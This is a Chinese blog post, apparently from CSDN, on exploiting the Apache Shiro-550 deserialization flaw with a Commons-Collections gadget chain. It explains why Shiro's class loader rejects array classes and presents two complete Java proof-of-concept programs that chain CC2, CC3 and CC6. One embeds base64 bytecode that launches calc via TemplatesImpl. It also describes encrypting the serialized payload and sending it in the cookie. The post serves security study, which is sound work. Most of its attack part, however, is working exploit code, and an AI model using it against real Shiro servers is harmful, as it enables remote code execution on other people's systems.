shiro下的cc链利用

上一篇中也说过,Shiro的依赖中默认是不带CC的依赖的,这里我们给它加上这个依赖

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

我们使用CC6链打,他报错了
原因是在反序列化的时候,它调用的不是原生的ObjectInputStream类,而是调用的ClassResolvingObjectInputStream来进行对象的输入,ClassResolvingObjectInputStream是shiro自带的ObjectInputStream

ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
    T deserialized = (T) ois.readObject();
ois.close();

既然是它自己定义的类,那么这里面肯定对对象进行了处理,我们跟进到ClassResolvingObjectInputStream中看看
里面只有2个方法,一个是构造方法,一个是重写了resolveClass方法

 @Override
    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException e) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
        }
    }

java原生反序列化的时候会调用resolveClass方法,如果它重写了的话就会调用到重写的resolveClass方法中去
那我们看看原生的java.io.ObjectInputStream#resolveClass方法是怎么写的

 protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
 }

在获取名字的时候,return ClassUtils.forName(osc.getName());shiro调用了自己的工具类中的forName方法,我们跟进去查看
image.png
里面调用了三个loadClass,先用线程的类加载器,线程的类加载器加载不到的话再用当前类的类加载器,还是加载不到的话用系统类加载器,实际上就是双亲委派
问题出在:
ClassLoader.loadClass是不能加载数组类的
Class.forName是可以加载数组类的
如果我们不加载数组类的话他是没有问题的,但是加载数组类的话就会产生问题
这个是Tomcat的类加载的细节
tomcat类加载器模型
image.png

我们想要打这个利用链的话,我们就不能使用数组类
在CC2中我们构造的poc是不使用数组类的,所以我们构造poc将CC2,CC3和CC6结合起来

package com.ay;


import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.xsltc.trax.TemplatesImpl;


import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

/**
 * @ClassName TestShiro550
 * @Author aY
 * @Date 2023/3/12 19:32
 * @Description
 */
public class TestShiro550 extends Exception{

    public static void main(String[] args) throws Exception{

        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> te = templates.getClass();

        Field namefield = te.getDeclaredField("_name");
        namefield.setAccessible(true);
        namefield.set(templates,"aaaa");
        Field bytecodesield = te.getDeclaredField("_bytecodes");
        bytecodesield.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
        byte[][] codes={code};
        //private byte[][] _bytecodes = null;
        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去


        //CC2
        InvokerTransformer InvokerTransformer = new InvokerTransformer("newTransformer", null, null);
        //调用的是TemplatesImpl.newTransformer方法,就可以动态加载类


        //CC6
        HashMap<Object, Object> map = new HashMap<Object, Object>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));


        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);

        HashMap<Object, Object> map2 = new HashMap<Object, Object>();
        map2.put(tiedMapEntry, "bbb");
        lazymap.remove(templates);

        Class c = LazyMap.class;
        Field factoryfield = c.getDeclaredField("factory");
        factoryfield.setAccessible(true);
        factoryfield.set(lazymap, InvokerTransformer);

        serialize(map2);
        unserialize("ser.bin");


    }


    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}


image.png

使用之前构造好的exp.py将ser.bin进行加密,打开数据包传到Cookie的值哪里然后go,就可以弹出计算器
image.png
poc附上

package com.ay;

/**
 * @ClassName CC10
 * @Author aY
 * @Date 2023/3/12 20:28
 * @Description
 */
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC10 {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void serizlize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }

    public static void main(String[] args) throws Exception {
        //如下的code内容为弹出一个calc。
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "test");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
        Transformer transformer = new InvokerTransformer("getClass", null, null);

        //新建一个InvokerTransformer对象,先设置一个不容易本地调试出发的方法getClass
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        //创建一个TiedMapEntry对象,map放如上创建的LazyMap,key放如上创建好的TemplatesImpl
        TiedMapEntry tiedmapentry = new TiedMapEntry(outerMap, obj);

        //创建一个HashSet对象,添加一个foo
        HashSet map = new HashSet(1);
        map.add("foo");

        //反射获取如上创建的map对象的map属性
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap innimpl = null;
        innimpl = (HashMap) f.get(map);

        //反射获取如上HashSet对象中map属性HashMap中的table属性
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);

        //新建一个array数组,将获取到的table属性中的值赋给array
        Object[] array = new Object[0];
        array = (Object[]) f2.get(innimpl);

        //新建一个node对象,将如上获取到array中的值赋给node(涉及到hashmap的数组结构原理)
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        //将如上获取到的HashSet中的map属性中的table中的一个node的key值替换为我们一开始创建的tiedmapentry对象。
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedmapentry);

        //将上面传入的一个getClass方法替换为我们真实的需要触发的方法newTransformer
        setFieldValue(transformer, "iMethodName", "newTransformer");

        //序列化
        serizlize(map);
    }
}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值